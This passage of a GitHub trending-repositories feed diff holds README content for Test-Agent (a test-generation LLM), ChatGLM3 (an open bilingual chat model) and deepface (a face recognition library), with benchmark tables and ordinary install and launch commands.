<li><strong>Public Hosting Beta</strong>: <em>Optionally</em>, deploy and host your apps on Reflex!</li> <li><strong>Public</strong>: Reflex is production ready.</li> </ul> <p>Reflex has new releases and features coming every week! Make sure to <span>⭐</span> star and <span>👀</span> watch this repository to stay up to date.</p> <h2>Contributing</h2> <p>We welcome contributions of any size! Below are some good ways to get started in the Reflex community.</p> <ul> <li><strong>Join Our Discord</strong>: Our <a href="https://discord.gg/T5WSbC2YtQ">Discord</a> is the best place to get help on your Reflex project and to discuss how you can contribute.</li> <li><strong>GitHub Discussions</strong>: A great way to talk about features you want added or things that are confusing/need clarification.</li> <li><strong>GitHub Issues</strong>: These are an excellent way to report bugs. Additionally, you can try and solve an existing issue and submit a PR.</li> </ul> <p>We are actively looking for contributors, no matter your skill level or experience.</p> <h2>License</h2> <p>Reflex is open-source and licensed under the <a href="https://raw.githubusercontent.com/reflex-dev/reflex/main/LICENSE">Apache License 2.0</a>.</p> - codefuse-ai/Test-Agent - 2023-10-29T01:40:18Z - tag:github.com,2023-10-29:/codefuse-ai/Test-Agent - - <p>国内首个测试行业大模型工具,体验AIGC为测试领域带来的变革!</p><hr><h1>Test-Agent: 您的智能测试助理</h1> <p><img src="https://github.com/codefuse-ai/Test-Agent/assets/103973989/5737b652-1549-4242-bcb2-69e76603c5e6" alt="image"></p> <p> <a href="https://github.com/codefuse-ai/Test-Agent"> <img alt="stars" src="https://img.shields.io/github/stars/codefuse-ai/Test-Agent?style=social"> </a> <a href="https://github.com/codefuse-ai/Test-Agent"> <img alt="forks" src="https://img.shields.io/github/forks/codefuse-ai/Test-Agent?style=social"> </a> <a href="https://github.com/codefuse-ai/Test-Agent/LICENCE"> <img alt="License: MIT" src="https://badgen.net/badge/license/apache2.0/blue"> </a> <a href="https://github.com/codefuse-ai/Test-Agent/issues"> <img alt="Open Issues" src="https://img.shields.io/github/issues-raw/codefuse-ai/Test-Agent"> </a> </p> <h3>本地Mac M1体验效果</h3> <p><img src="https://github.com/codefuse-ai/Test-Agent/assets/103973989/8dba860f-c1bb-49d5-b9dd-a58e541562a6" alt="图片"></p> <h3>魔搭体验效果</h3> <p>魔搭模型访问链接:<a href="https://modelscope.cn/models/codefuse-ai/TestGPT-7B/summary">ModelScope TestGPT-7B</a> <img src="https://github.com/codefuse-ai/Test-Agent/assets/103973989/0e50b258-44f9-4dc6-8e30-0a01cf62d02b" alt="MS"></p> <h2>什么是Test Agent?(Introduction)</h2> <p><strong>Test Agent</strong> 旨在构建测试领域的“智能体”,融合大模型和质量领域工程化技术,促进质量技术代系升级。我们期望和社区成员一起合作,打造创新的测试领域解决方案,构建24小时在线的测试助理服务,让测试如丝般顺滑。</p> <h2>本期特性(Features)</h2> <ul> <li> <p><strong>模型</strong> 本期我们开源了测试领域模型TestGPT-7B。模型以CodeLlama-7B为基座,进行了相关下游任务的微调:</p> <ul> <li><strong>多语言测试用例生成(Java/Python/Javascript)</strong> 一直以来都是学术界和工业界非常关注的领域,近年来不断有新产品或工具孵化出来,如EvoSuite、Randoop、SmartUnit等。然而传统的用例生成存在其难以解决的痛点问题,基于大模型的测试用例生成在测试用例可读性、测试场景完整度、多语言支持方面都优于传统用例生成工具。本次重点支持了多语言测试用例生成,在我们本次开源的版本中首先包含了Java、Python、Javascript的测试用例生成能力,下一版本中逐步开放Go、C++等语言。</li> <li><strong>测试用例Assert补全</strong> 对当前测试用例现状的分析与探查时,我们发现代码仓库中存在一定比例的存量测试用例中未包含Assert。没有Assert的测试用例虽然能够在回归过程中执行通过,却无法发现问题。因此我们拓展了测试用例Assert自动补全这一场景。通过该模型能力,结合一定的工程化配套,可以实现对全库测试用例的批量自动补全,智能提升项目质量水位。</li> </ul> </li> <li> <p><strong>工程框架</strong> 本地模型快速发布和体验工程化框架</p> <ul> <li>ChatBot页面</li> <li>模型快速启动</li> <li>私有化部署,本地化的GPT大模型与您的数据和环境进行交互,无数据泄露风险,100%安全</li> </ul> </li> </ul> <p><strong>后续我们会持续迭代模型和工程化能力:</strong></p> <ul> <li>不断加入更多令人激动的测试域应用场景,如领域知识问答、测试场景分析等</li> <li>支撑面向测试场景的copilot 工程框架开放,如测试领域知识智能embedding、测试通用工具API体系、智能测试Agent等,敬请期待!</li> <li>以7B为基础,逐步扩展至13B、34B模型。欢迎关注!</li> </ul> <h2>性能最强的7B测试领域大模型(Model)</h2> <p>目前在TestAgent中,我们默认使用了TestGPT-7B模型。与当前已有开源模型相比,<strong>TestGPT-7B模型在用例执行通过率(pass@1)、用例场景覆盖(平均测试场景数)上都处于业界领先水平。</strong> TestGPT-7B模型核心能力的评测结果如下:</p> <ul> <li>多语言测试用例生成 针对模型支持的三种语言:Java、Python、Javascript,Pass@1评测结果如下:</li> </ul> <table> <thead> <tr> <th>Model</th> <th>Java pass@1</th> <th>Java Average number of test scenarios</th> <th>Python pass@1</th> <th>Python Average number of test scenarios</th> <th>Javascript pass@1</th> <th>Javascript Average number of test scenarios</th> </tr> </thead> <tbody> <tr> <td>TestGPT-7B</td> <td>48.6%</td> <td>4.37</td> <td>35.67%</td> <td>3.56</td> <td>36%</td> <td>2.76</td> </tr> <tr> <td>CodeLlama-13B-Instruct</td> <td>40.54%</td> <td>1.08</td> <td>30.57%</td> <td>1.65</td> <td>31.7%</td> <td>3.13</td> </tr> <tr> <td>Qwen-14B-Chat</td> <td>10.81%</td> <td>2.78</td> <td>15.9%</td> <td>1.32</td> <td>9.15%</td> <td>4.22</td> </tr> <tr> <td>Baichuan2-13B-Chat</td> <td>13.5%</td> <td>2.24</td> <td>12.7%</td> <td>2.12</td> <td>6.1%</td> <td>3.31</td> </tr> </tbody> </table> <ul> <li>测试用例Assert补全 目前模型支持Java用例的Assert补全,Pass@1评测结果如下:</li> </ul> <table> <thead> <tr> <th>Model</th> <th>pass@1</th> <th>Percentage of strong validation</th> </tr> </thead> <tbody> <tr> <td>Codefuse-TestGPT-7B</td> <td>71.1%</td> <td>100%</td> </tr> </tbody> </table> <h2>工程架构(Engineering Architecture)</h2> <p><img src="https://github.com/codefuse-ai/Test-Agent/assets/103973989/1b61beff-df59-4ab3-843c-266413c8dbc4" alt="JG"></p> <p>大模型的号角已经吹响,测试领域大模型也在不断进化中,通过预训练过程中积累的丰富世界知识,在复杂交互环境中展现出了非凡的推理与决策能力。</p> <p>尽管在测试领域中基础模型取得了显著的成果,但仍然存在一些局限性,特定领域的测试任务通常需要专业化的工具或领域知识来解决。例如,基础模型可以通过预训练知识完成单次测试代码生成和测试文本生成等任务,但处理复杂的集成用例生成、特定领域用例生成和测试流程pipeline交互等问题时,需要更专业的工具和领域知识。因此将专用工具与基础模型整合在一起,可以充分发挥它们各自的优势。专用工具可以解决模型时效性不足、增强专业知识、提高可解释性和鲁棒性的问题。而基础模型则具备类人的推理规划能力,可以理解复杂的数据和场景,并与现实世界进行交互。</p> <p>在本期开放模型工程化部署和ChatBot基础上,我们将继续在测试开源领域深耕投入。协同社区志趣相投开发者们,一起打造测试领域最领先的Tools工程体系、智能测试助理和测试开源工程!</p> <h2>快速使用(QuickStart)</h2> <h3>前置准备</h3> <h4>模型下载</h4> <p>您可在<a href="https://modelscope.cn/models/codefuse-ai/TestGPT-7B">modelscope</a>或<a href="https://huggingface.co/codefuse-ai/TestGPT-7B">huggingface</a>上获取到模型的详细信息并下载模型文件。 需要注意的是: 1)如果您通过modelscope下载模型,下载方式可参考:<a href="https://www.modelscope.cn/docs/%E6%A8%A1%E5%9E%8B%E7%9A%84%E4%B8%8B%E8%BD%BD#%E4%BD%BF%E7%94%A8Git%E4%B8%8B%E8%BD%BD%E6%A8%A1%E5%9E%8B">下载说明</a>; 2)如果您通过huggingface下载模型,请确保您可以正常访问huggingface。</p> <h4>环境安装</h4> <ul> <li>python&gt;=3.8</li> <li>transformers==4.33.2</li> </ul> <pre><code class="language-plain">git clone https://github.com/codefuse-ai/Test-Agent cd Test-Agent pip install -r requirements.txt </code></pre> <p>在开始运行TestGPT-7B模型之前,请确保你的执行环境拥有大约14GB的显存。</p> <h3>启动服务</h3> <p>项目提供了网页端快速搭建UI的能力能够更直观的展示模型交互和效果,我们可以使用简单的几个命令把前端页面唤醒并实时调用模型能力。在项目目录下,依次启动以下服务:</p> <p>1.<strong>启动controller</strong> <img src="https://github.com/codefuse-ai/Test-Agent/assets/103973989/e68ce187-c9f1-4ce8-9d59-ff9d8348d0ac" alt="controller"> python3 -m chat.server.controller</p> <p>2.<strong>启动模型worker</strong> <img src="https://github.com/codefuse-ai/Test-Agent/assets/103973989/073e4e79-4005-4c98-87f7-0eaa0b2b1e22" alt="work"> python3 -m chat.server.model_worker --model-path models/TestGPT-7B --device mps</p> <p>(models/TestGPT-7B 为实际模型文件路径)</p> <p>对于启动方式,可以按需选择以下几种配置选项:</p> <ul> <li>--device mps 用于在Mac电脑上开启GPU加速的选项(Apple Silicon或AMD GPUs);</li> <li>--device xpu 用于在Intel XPU上开启加速的选项(Intel Data Center and Arc A-Series GPUs); <ul> <li>需安装<a href="https://intel.github.io/intel-extension-for-pytorch/xpu/latest/tutorials/installation.html">Intel Extension for PyTorch</a></li> <li>设置OneAPI环境变量:source /opt/intel/oneapi/setvars.sh</li> </ul> </li> <li>--device npu 用于在华为AI处理器上开启加速的选项; <ul> <li>需安装<a href="https://github.com/Ascend/pytorch">Ascend PyTorch Adapter</a></li> <li>设置CANN环境变量:source /usr/local/Ascend/ascend-toolkit/set_env.sh</li> </ul> </li> <li>--device cpu 单独使用CPU运行的选项,不需要GPU;</li> <li>--num-gpus 2 指定并发gpu运行的选项。</li> </ul> <ol start="3"> <li><strong>启动web服务</strong> python3 -m chat.server.gradio_testgpt <img src="https://github.com/codefuse-ai/Test-Agent/assets/103973989/340dae35-573b-4046-a3e8-e87a91453601" alt="web"> 待服务准备就绪后,我们可以打开本地启动的web服务地址 <a href="http://0.0.0.0:7860">http://0.0.0.0:7860</a> ,就能看到完整的前端页面了。在页面下方包含了【单测生成】和【Assert补全】的两个例子,点击按钮后会自动生成一段样例文本到输入框中,点击Send按钮就会触发模型运行,之后耐心等待一段时间后(运行时间视本机性能而定)即可看到完整的回答了。 <img src="https://github.com/codefuse-ai/Test-Agent/assets/103973989/fd24274c-729b-4ce7-8763-a083b39300fb" alt="demo"></li> </ol> <h2>🤗 致谢</h2> <p>本项目基于<a href="https://github.com/lm-sys/FastChat">FastChat</a> 构建,在此深深感谢他们的开源贡献!</p> <h2>联系我们</h2> <p><img src="https://github.com/codefuse-ai/Test-Agent/assets/106229399/074aac97-3486-4062-8942-68495c7e4dc4" alt="wexin_2"></p> + THUDM/ChatGLM3 + 2023-10-30T01:34:14Z + tag:github.com,2023-10-30:/THUDM/ChatGLM3 + + <p>ChatGLM3 series: Open Bilingual Chat LLMs | 开源双语对话语言模型</p><hr><h1>ChatGLM3</h1> <p align="center"> 🤗 <a href="https://huggingface.co/THUDM/chatglm3-6b" target="_blank">HF Repo</a> • 🤖 <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b" target="_blank">ModelScope</a> • 🐦 <a href="https://twitter.com/thukeg" target="_blank">Twitter</a> • 📃 <a href="https://arxiv.org/abs/2103.10360" target="_blank">[GLM@ACL 22]</a> <a href="https://github.com/THUDM/GLM" target="_blank">[GitHub]</a> • 📃 <a href="https://arxiv.org/abs/2210.02414" target="_blank">[GLM-130B@ICLR 23]</a> <a href="https://github.com/THUDM/GLM-130B" target="_blank">[GitHub]</a> <br> </p> <p align="center"> 👋 加入我们的 <a href="https://join.slack.com/t/chatglm/shared_invite/zt-25ti5uohv-A_hs~am_D3Q8XPZMpj7wwQ" target="_blank">Slack</a> 和 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/WECHAT.md" target="_blank">WeChat</a> </p> <p align="center"> 📍在 <a href="https://www.chatglm.cn">chatglm.cn</a> 体验更大规模的 ChatGLM 模型。 </p> <h2>介绍</h2> <p>ChatGLM3 是智谱AI和清华大学 KEG 实验室联合发布的新一代对话预训练模型。ChatGLM3-6B 是 ChatGLM3 系列中的开源模型,在保留了前两代模型对话流畅、部署门槛低等众多优秀特性的基础上,ChatGLM3-6B 引入了如下特性:</p> <ol> <li><strong>更强大的基础模型:</strong> ChatGLM3-6B 的基础模型 ChatGLM3-6B-Base 采用了更多样的训练数据、更充分的训练步数和更合理的训练策略。在语义、数学、推理、代码、知识等不同角度的数据集上测评显示,<strong>ChatGLM3-6B-Base 具有在 10B 以下的基础模型中最强的性能</strong>。</li> <li><strong>更完整的功能支持:</strong> ChatGLM3-6B 采用了全新设计的 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/PROMPT.md">Prompt 格式</a>,除正常的多轮对话外。同时原生支持<a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/tool_using/README.md">工具调用</a>(Function Call)、代码执行(Code Interpreter)和 Agent 任务等复杂场景。</li> <li><strong>更全面的开源序列:</strong> 除了对话模型 <a href="https://huggingface.co/THUDM/chatglm3-6b">ChatGLM3-6B</a> 外,还开源了基础模型 <a href="https://huggingface.co/THUDM/chatglm3-6b-base">ChatGLM3-6B-Base</a>、长文本对话模型 <a href="https://huggingface.co/THUDM/chatglm3-6b-32k">ChatGLM3-6B-32K</a>。以上所有权重对学术研究<strong>完全开放</strong>,在填写<a href="https://open.bigmodel.cn/mla/form">问卷</a>进行登记后<strong>亦允许免费商业使用</strong>。</li> </ol> <hr> <p>ChatGLM3 开源模型旨在与开源社区一起推动大模型技术发展,恳请开发者和大家遵守<a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/MODEL_LICENSE">开源协议</a>,勿将开源模型和代码及基于开源项目产生的衍生物用于任何可能给国家和社会带来危害的用途以及用于任何未经过安全评估和备案的服务。目前,本项目团队未基于 <strong>ChatGLM3 开源模型</strong>开发任何应用,包括网页端、安卓、苹果 iOS 及 Windows App 等应用。</p> <p>尽管模型在训练的各个阶段都尽力确保数据的合规性和准确性,但由于 ChatGLM3-6B 模型规模较小,且模型受概率随机性因素影响,无法保证输出内容的准确。同时模型的输出容易被用户的输入误导。<strong>本项目不承担开源模型和代码导致的数据安全、舆情风险或发生任何模型被误导、滥用、传播、不当利用而产生的风险和责任。</strong></p> <h2>模型列表</h2> <table> <thead> <tr> <th align="center">Model</th> <th align="center">Seq Length</th> <th align="center">Download</th> </tr> </thead> <tbody> <tr> <td align="center">ChatGLM3-6B</td> <td align="center">8k</td> <td align="center"><a href="https://huggingface.co/THUDM/chatglm3-6b">HuggingFace</a> | <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b">ModelScope</a></td> </tr> <tr> <td align="center">ChatGLM3-6B-Base</td> <td align="center">8k</td> <td align="center"><a href="https://huggingface.co/THUDM/chatglm3-6b-base">HuggingFace</a> | <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b-base">ModelScope</a></td> </tr> <tr> <td align="center">ChatGLM3-6B-32K</td> <td align="center">32k</td> <td align="center"><a href="https://huggingface.co/THUDM/chatglm3-6b-32k">HuggingFace</a> | <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b-32k">ModelScope</a></td> </tr> </tbody> </table> <h2>评测结果</h2> <h3>典型任务</h3> <p>我们选取了 8 个中英文典型数据集,在 ChatGLM3-6B (base) 版本上进行了性能测试。</p> <table> <thead> <tr> <th>Model</th> <th align="center">GSM8K</th> <th align="center">MATH</th> <th align="center">BBH</th> <th align="center">MMLU</th> <th align="center">C-Eval</th> <th align="center">CMMLU</th> <th align="center">MBPP</th> <th align="center">AGIEval</th> </tr> </thead> <tbody> <tr> <td>ChatGLM2-6B-Base</td> <td align="center">32.4</td> <td align="center">6.5</td> <td align="center">33.7</td> <td align="center">47.9</td> <td align="center">51.7</td> <td align="center">50.0</td> <td align="center">-</td> <td align="center">-</td> </tr> <tr> <td>Best Baseline</td> <td align="center">52.1</td> <td align="center">13.1</td> <td align="center">45.0</td> <td align="center">60.1</td> <td align="center">63.5</td> <td align="center">62.2</td> <td align="center">47.5</td> <td align="center">45.8</td> </tr> <tr> <td>ChatGLM3-6B-Base</td> <td align="center">72.3</td> <td align="center">25.7</td> <td align="center">66.1</td> <td align="center">61.4</td> <td align="center">69.0</td> <td align="center">67.5</td> <td align="center">52.4</td> <td align="center">53.7</td> </tr> </tbody> </table> <blockquote> <p>Best Baseline 指的是模型参数在 10B 以下、在对应数据集上表现最好的预训练模型,不包括只针对某一项任务训练而未保持通用能力的模型。</p> </blockquote> <blockquote> <p>对 ChatGLM3-6B-Base 的测试中,BBH 采用 3-shot 测试,需要推理的 GSM8K、MATH 采用 0-shot CoT 测试,MBPP 采用 0-shot 生成后运行测例计算 Pass@1 ,其他选择题类型数据集均采用 0-shot 测试。</p> </blockquote> <p>我们在多个长文本应用场景下对 ChatGLM3-6B-32K 进行了人工评估测试。与二代模型相比,其效果平均提升了超过 50%。在论文阅读、文档摘要和财报分析等应用中,这种提升尤为显著。此外,我们还在 LongBench 评测集上对模型进行了测试,具体结果如下表所示</p> <table> <thead> <tr> <th>Model</th> <th align="center">平均</th> <th align="center">Summary</th> <th align="center">Single-Doc QA</th> <th align="center">Multi-Doc QA</th> <th align="center">Code</th> <th align="center">Few-shot</th> <th align="center">Synthetic</th> </tr> </thead> <tbody> <tr> <td>ChatGLM2-6B-32K</td> <td align="center">41.5</td> <td align="center">24.8</td> <td align="center">37.6</td> <td align="center">34.7</td> <td align="center">52.8</td> <td align="center">51.3</td> <td align="center">47.7</td> </tr> <tr> <td>ChatGLM3-6B-32K</td> <td align="center">50.2</td> <td align="center">26.6</td> <td align="center">45.8</td> <td align="center">46.1</td> <td align="center">56.2</td> <td align="center">61.2</td> <td align="center">65</td> </tr> </tbody> </table> <h2>使用方式</h2> <h3>环境安装</h3> <p>首先需要下载本仓库:</p> <pre><code class="language-shell">git clone https://github.com/THUDM/ChatGLM3 cd ChatGLM3 </code></pre> <p>然后使用 pip 安装依赖:</p> <pre><code>pip install -r requirements.txt </code></pre> <p>其中 <code>transformers</code> 库版本推荐为 <code>4.30.2</code>,<code>torch</code> 推荐使用 2.0 及以上的版本,以获得最佳的推理性能。</p> <h3>综合 Demo</h3> <p>我们提供了一个集成以下三种功能的综合 Demo,运行方法请参考 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/composite_demo/README.md">综合 Demo</a></p> <ul> <li>Chat: 对话模式,在此模式下可以与模型进行对话。</li> <li>Tool: 工具模式,模型除了对话外,还可以通过工具进行其他操作。 <img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/tool.png" alt="tool"></li> <li>Code Interpreter: 代码解释器模式,模型可以在一个 Jupyter 环境中执行代码并获取结果,以完成复杂任务。 <img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/heart.png" alt="code"></li> </ul> <h3>代码调用</h3> <p>可以通过如下代码调用 ChatGLM 模型来生成对话:</p> <pre><code class="language-python">&gt;&gt;&gt; from transformers import AutoTokenizer, AutoModel &gt;&gt;&gt; tokenizer = AutoTokenizer.from_pretrained("THUDM/chatglm3-6b", trust_remote_code=True) &gt;&gt;&gt; model = AutoModel.from_pretrained("THUDM/chatglm3-6b", trust_remote_code=True, device='cuda') &gt;&gt;&gt; model = model.eval() &gt;&gt;&gt; response, history = model.chat(tokenizer, "你好", history=[]) &gt;&gt;&gt; print(response) 你好👋!我是人工智能助手 ChatGLM3-6B,很高兴见到你,欢迎问我任何问题。 &gt;&gt;&gt; response, history = model.chat(tokenizer, "晚上睡不着应该怎么办", history=history) &gt;&gt;&gt; print(response) 晚上睡不着可能会让你感到焦虑或不舒服,但以下是一些可以帮助你入睡的方法: 1. 制定规律的睡眠时间表:保持规律的睡眠时间表可以帮助你建立健康的睡眠习惯,使你更容易入睡。尽量在每天的相同时间上床,并在同一时间起床。 2. 创造一个舒适的睡眠环境:确保睡眠环境舒适,安静,黑暗且温度适宜。可以使用舒适的床上用品,并保持房间通风。 3. 放松身心:在睡前做些放松的活动,例如泡个热水澡,听些轻柔的音乐,阅读一些有趣的书籍等,有助于缓解紧张和焦虑,使你更容易入睡。 4. 避免饮用含有咖啡因的饮料:咖啡因是一种刺激性物质,会影响你的睡眠质量。尽量避免在睡前饮用含有咖啡因的饮料,例如咖啡,茶和可乐。 5. 避免在床上做与睡眠无关的事情:在床上做些与睡眠无关的事情,例如看电影,玩游戏或工作等,可能会干扰你的睡眠。 6. 尝试呼吸技巧:深呼吸是一种放松技巧,可以帮助你缓解紧张和焦虑,使你更容易入睡。试着慢慢吸气,保持几秒钟,然后缓慢呼气。 如果这些方法无法帮助你入睡,你可以考虑咨询医生或睡眠专家,寻求进一步的建议。 </code></pre> <h4>从本地加载模型</h4> <p>以上代码会由 <code>transformers</code> 自动下载模型实现和参数。完整的模型实现在 <a href="https://huggingface.co/THUDM/chatglm3-6b">Hugging Face Hub</a>。如果你的网络环境较差,下载模型参数可能会花费较长时间甚至失败。此时可以先将模型下载到本地,然后从本地加载。</p> <p>从 Hugging Face Hub 下载模型需要先<a href="https://docs.github.com/zh/repositories/working-with-files/managing-large-files/installing-git-large-file-storage">安装Git LFS</a>,然后运行</p> <pre><code class="language-Shell">git clone https://huggingface.co/THUDM/chatglm3-6b </code></pre> <p>如果从你从 HuggingFace 下载比较慢,也可以从 <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b">ModelScope</a> 中下载。</p> <h3>网页版对话 Demo</h3> <p><img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/web-demo.gif" alt="web-demo"> 可以通过以下命令启动基于 Gradio 的网页版 demo:</p> <pre><code class="language-shell">python web_demo.py </code></pre> <p><img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/web-demo2.png" alt="web-demo"></p> <p>可以通过以下命令启动基于 Streamlit 的网页版 demo:</p> <pre><code class="language-shell">streamlit run web_demo2.py </code></pre> <p>网页版 demo 会运行一个 Web Server,并输出地址。在浏览器中打开输出的地址即可使用。 经测试,基于 Streamlit 的网页版 Demo 会更流畅。</p> <h3>命令行对话 Demo</h3> <p><img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/cli-demo.png" alt="cli-demo"></p> <p>运行仓库中 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/cli_demo.py">cli_demo.py</a>:</p> <pre><code class="language-shell">python cli_demo.py </code></pre> <p>程序会在命令行中进行交互式的对话,在命令行中输入指示并回车即可生成回复,输入 <code>clear</code> 可以清空对话历史,输入 <code>stop</code> 终止程序。</p> <h3>API 部署</h3> <p>感谢 <a href="https://github.com/xusenlinzy">@xusenlinzy</a> 实现了 OpenAI 格式的流式 API 部署,可以作为任意基于 ChatGPT 的应用的后端,比如 <a href="https://github.com/Yidadaa/ChatGPT-Next-Web">ChatGPT-Next-Web</a>。可以通过运行仓库中的<a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/openai_api.py">openai_api.py</a> 进行部署:</p> <pre><code class="language-shell">python openai_api.py </code></pre> <p>进行 API 调用的示例代码为</p> <pre><code class="language-python">import openai if __name__ == "__main__": openai.api_base = "http://localhost:8000/v1" openai.api_key = "none" for chunk in openai.ChatCompletion.create( model="chatglm3-6b", messages=[ {"role": "user", "content": "你好"} ], stream=True ): if hasattr(chunk.choices[0].delta, "content"): print(chunk.choices[0].delta.content, end="", flush=True) </code></pre> <h3>工具调用</h3> <p>关于工具调用的方法请参考 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/tool_using/README.md">工具调用</a>。</p> <h2>低成本部署</h2> <p>请见 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/DEPLOYMENT.md">DEPLOYMENT.md</a>。</p> <h2>引用</h2> <p>如果你觉得我们的工作有帮助的话,请考虑引用下列论文。</p> <pre><code>@article{zeng2022glm, title={Glm-130b: An open bilingual pre-trained model}, author={Zeng, Aohan and Liu, Xiao and Du, Zhengxiao and Wang, Zihan and Lai, Hanyu and Ding, Ming and Yang, Zhuoyi and Xu, Yifan and Zheng, Wendi and Xia, Xiao and others}, journal={arXiv preprint arXiv:2210.02414}, year={2022} } </code></pre> <pre><code>@inproceedings{du2022glm, title={GLM: General Language Model Pretraining with Autoregressive Blank Infilling}, author={Du, Zhengxiao and Qian, Yujie and Liu, Xiao and Ding, Ming and Qiu, Jiezhong and Yang, Zhilin and Tang, Jie}, booktitle={Proceedings of the 60th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers)}, pages={320--335}, year={2022} } </code></pre> - serengil/deepface - 2023-10-29T01:40:18Z - tag:github.com,2023-10-29:/serengil/deepface - - <p>A Lightweight Face Recognition and Facial Attribute Analysis (Age, Gender, Emotion and Race) Library for Python</p><hr><h1>deepface</h1> <div align="center"> <p><a href="https://pepy.tech/project/deepface"><img src="https://static.pepy.tech/personalized-badge/deepface?period=total&amp;units=international_system&amp;left_color=grey&amp;right_color=blue&amp;left_text=pypi%20downloads" alt="PyPI Downloads"></a> <a href="https://anaconda.org/conda-forge/deepface"><img src="https://img.shields.io/conda/dn/conda-forge/deepface?color=green&amp;label=conda%20downloads" alt="Conda Downloads"></a> <a href="https://github.com/serengil/deepface/stargazers"><img src="https://img.shields.io/github/stars/serengil/deepface?color=yellow&amp;style=flat" alt="Stars"></a> <a href="https://github.com/serengil/deepface/raw/master/LICENSE"><img src="http://img.shields.io/:license-MIT-green.svg?style=flat" alt="License"></a> <a href="https://www.patreon.com/serengil?repo=deepface"><img src="https://img.shields.io/endpoint.svg?url=https%3A%2F%2Fshieldsio-patreon.vercel.app%2Fapi%3Fusername%3Dserengil%26type%3Dpatrons&amp;style=flat" alt="Support me on Patreon"></a> <a href="https://github.com/sponsors/serengil"><img src="https://img.shields.io/github/sponsors/serengil?logo=GitHub&amp;color=lightgray" alt="GitHub Sponsors"></a></p> <p><a href="https://doi.org/10.1109/ASYU50717.2020.9259802"><img src="http://img.shields.io/:DOI-10.1109/ASYU50717.2020.9259802-blue.svg?style=flat" alt="DOI"></a> <a href="https://doi.org/10.1109/ICEET53442.2021.9659697"><img src="http://img.shields.io/:DOI-10.1109/ICEET53442.2021.9659697-blue.svg?style=flat" alt="DOI"></a></p> <p><a href="https://sefiks.com"><img src="https://img.shields.io/:blog-sefiks.com-blue.svg?style=flat&amp;logo=wordpress" alt="Blog"></a> <a href="https://www.youtube.com/@sefiks?sub_confirmation=1"><img src="https://img.shields.io/:youtube-@sefiks-red.svg?style=flat&amp;logo=youtube" alt="YouTube"></a> <a href="https://twitter.com/intent/user?screen_name=serengil"><img src="https://img.shields.io/:follow-@serengil-blue.svg?style=flat&amp;logo=twitter" alt="Twitter"></a></p> </div> <p align="center"><img src="https://raw.githubusercontent.com/serengil/deepface/master/icon/deepface-icon-labeled.png" width="200" height="240"></p> <p>Deepface is a lightweight <a href="https://sefiks.com/2018/08/06/deep-face-recognition-with-keras/">face recognition</a> and facial attribute analysis (<a href="https://sefiks.com/2019/02/13/apparent-age-and-gender-prediction-in-keras/">age</a>, <a href="https://sefiks.com/2019/02/13/apparent-age-and-gender-prediction-in-keras/">gender</a>, <a href="https://sefiks.com/2018/01/01/facial-expression-recognition-with-keras/">emotion</a> and <a href="https://sefiks.com/2019/11/11/race-and-ethnicity-prediction-in-keras/">race</a>) framework for python. It is a hybrid face recognition framework wrapping <strong>state-of-the-art</strong> models: <a href="https://sefiks.com/2018/08/06/deep-face-recognition-with-keras/"><code>VGG-Face</code></a>, <a href="https://sefiks.com/2018/09/03/face-recognition-with-facenet-in-keras/"><code>Google FaceNet</code></a>, <a href="https://sefiks.com/2019/07/21/face-recognition-with-openface-in-keras/"><code>OpenFace</code></a>, <a href="https://sefiks.com/2020/02/17/face-recognition-with-facebook-deepface-in-keras/"><code>Facebook DeepFace</code></a>, <a href="https://sefiks.com/2020/06/16/face-recognition-with-deepid-in-keras/"><code>DeepID</code></a>, <a href="https://sefiks.com/2020/12/14/deep-face-recognition-with-arcface-in-keras-and-python/"><code>ArcFace</code></a>, <a href="https://sefiks.com/2020/07/11/face-recognition-with-dlib-in-python/"><code>Dlib</code></a> and <code>SFace</code>.</p> <p>Experiments show that human beings have 97.53% accuracy on facial recognition tasks whereas those models already reached and passed that accuracy level.</p> <h2>Installation <a href="https://pypi.org/project/deepface/"><img src="https://img.shields.io/pypi/v/deepface.svg?sanitize=true" alt="PyPI"></a> <a href="https://anaconda.org/conda-forge/deepface"><img src="https://img.shields.io/conda/vn/conda-forge/deepface.svg?sanitize=true" alt="Conda"></a></h2> <p>The easiest way to install deepface is to download it from <a href="https://pypi.org/project/deepface/"><code>PyPI</code></a>. It's going to install the library itself and its prerequisites as well.</p> <pre><code class="language-shell">$ pip install deepface </code></pre> <p>Secondly, DeepFace is also available at <a href="https://anaconda.org/conda-forge/deepface"><code>Conda</code></a>. You can alternatively install the package via conda.</p> <pre><code class="language-shell">$ conda install -c conda-forge deepface </code></pre> <p>Thirdly, you can install deepface from its source code.</p> <pre><code class="language-shell">$ git clone https://github.com/serengil/deepface.git $ cd deepface $ pip install -e . </code></pre> <p>Then you will be able to import the library and use its functionalities.</p> <pre><code class="language-python">from deepface import DeepFace </code></pre> <p><strong>Facial Recognition</strong> - <a href="https://youtu.be/WnUVYQP4h44"><code>Demo</code></a></p> <p>A modern <a href="https://sefiks.com/2020/05/01/a-gentle-introduction-to-face-recognition-in-deep-learning/"><strong>face recognition pipeline</strong></a> consists of 5 common stages: <a href="https://sefiks.com/2020/08/25/deep-face-detection-with-opencv-in-python/">detect</a>, <a href="https://sefiks.com/2020/02/23/face-alignment-for-face-recognition-in-python-within-opencv/">align</a>, <a href="https://sefiks.com/2020/11/20/facial-landmarks-for-face-recognition-with-dlib/">normalize</a>, <a href="https://sefiks.com/2018/08/06/deep-face-recognition-with-keras/">represent</a> and <a 